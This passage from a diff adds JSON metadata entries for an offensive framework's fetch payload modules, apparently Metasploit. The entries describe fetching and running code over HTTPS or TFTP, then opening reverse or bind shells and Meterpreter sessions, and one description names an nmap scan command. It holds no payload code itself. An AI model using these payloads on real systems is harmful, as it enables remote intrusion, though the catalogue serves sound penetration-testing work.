"description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker over IPv6", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/reverse_nonx_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "tkmru" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/metsvc_bind_tcp": { + "name": "HTTPS Fetch, Linux Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/linux/https/x86/metsvc_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "hdm " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/metsvc_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/metsvc_reverse_tcp": { + "name": "HTTPS Fetch, Linux Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x86/metsvc_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "hdm " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/metsvc_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/read_file": { + "name": "HTTPS Fetch, Linux Read File", + "fullname": "payload/cmd/linux/https/x86/read_file", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "hal" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/read_file", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/bind_nonx_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/bind_tcp_uuid": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/find_tag": { + "name": "HTTPS Fetch, Linux Command Shell, Find Tag Stager", + "fullname": "payload/cmd/linux/https/x86/shell/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nUse an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/reverse_nonx_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "tkmru" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell_bind_ipv6_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x86/shell_bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection over IPv6 and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell_bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell_bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell_bind_tcp_random_port": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp_random_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Geyslan G. Bem ", + "Aleh Boitsau " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "references": [ + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", + "EDB-41631" + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell_bind_tcp_random_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell_find_port": { + "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/https/x86/shell_find_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell_find_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell_find_tag": { + "name": "HTTPS Fetch, Linux Command Shell, Find Tag Inline", + "fullname": "payload/cmd/linux/https/x86/shell_find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection (proxy/nat safe)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell_find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell_reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle ", + "joev " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/shell_reverse_tcp_ipv6": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Matteo Malvica " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/shell_reverse_tcp_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/exec": { + "name": "TFTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/tftp/x64/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "Geyslan G. Bem " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { + "name": "TFTP Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "RageLtMan " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": 